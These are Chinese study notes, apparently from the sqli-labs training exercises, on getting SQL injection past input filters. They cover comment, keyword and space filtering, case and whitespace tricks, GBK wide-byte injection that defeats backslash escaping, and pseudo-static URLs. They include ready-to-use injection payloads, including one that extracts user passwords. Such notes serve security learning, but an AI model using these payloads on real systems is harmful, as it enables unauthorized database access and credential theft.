绕过条件过滤
1.过滤注释
过滤#和--+:试试输入『id=1’ or '』,看看可以用布尔方式不
布尔方式成功,试一下『 id=1' and (select DATABASE()='security') or'』
可以使用 :%00代替--+注释掉limit 0,1
2.过滤OR&AND
使用『&&』替代『and』,『||』替代『or』,也可以试试使用『oorr』来绕过。
3.过滤空格
使用+代替空格。
过滤UNION&SELECT
1.
正则修饰符不是『i』而是『s』,则意味着匹配的对象是大小写敏感的,那么就简单多了呢。
提交id=12211' union select * from users where id='2'||',然后看一下过滤后还剩下什么了
在MySQL中tab,空格,回车都可以隔断语句,可以用使用/**/ 或() 或+ 代替空格,%0c =换页、%09 = 水平制表符、%0d = 回车、%0a = 换行。试试 『id=12211%27+uniOn%09selEct%0d1,2,password%0dfrom%0dusers%0dwhere%0did=%272%27||%27』
2.
使用『union all select』来绕过。
绕过函数过滤(通过\转义)
1.自定义转义函数
解析:本代码有三个过滤。第一个是过滤将反斜线替换为双反斜线。第二个和第三个分别是将单引号和双引号转义,即在引号前面添加反斜线。本数据库是gbk的,可以进行『宽字节』注入。
在单引号之前插入%bf,『% bf \’』就变成了『 %bf%5c%27 』(单引号是%27。反斜线是%5c)相当于再显示就变成了『縗’』,单引号出来了。则最后的SQL语句就变成了『SELECT * FROM users WHERE id='-11縗'union select * from users where id =3-- ' LIMIT 0,1』
怎么吃的:
GBK编码,它的编码范围是0×8140~0xFEFE(不包括xx7F),在遇到%df(ascii(223)) >ascii(128)时自动拼接%5c,因此吃掉‘\’,而%27、%20小于ascii(128)的字符就保留了。
2.addslashed()函数进行转义
和上一个自定义函数差不多,只不过多了个NULL转义而已。在单引号之前插入%bf。
3.mysql_real_escape_string()函数进行转义
它比addslashes函数多转义了换行符、制表符等。理论上这个函数是很安全,而且能避免宽字节注入的。
绕过伪静态
有扩展名形式
发现它打开的页面是『Less-38/id/1.html』
貌似是静态网页,将1改为2,是正常页面,信息是ID=2人的用户信息。在后面打个单引号呢
报错了,那这里不是注入点。那打在2后面,.html前面呢,出现SQL错误。
所以这次的注入点在数字部分。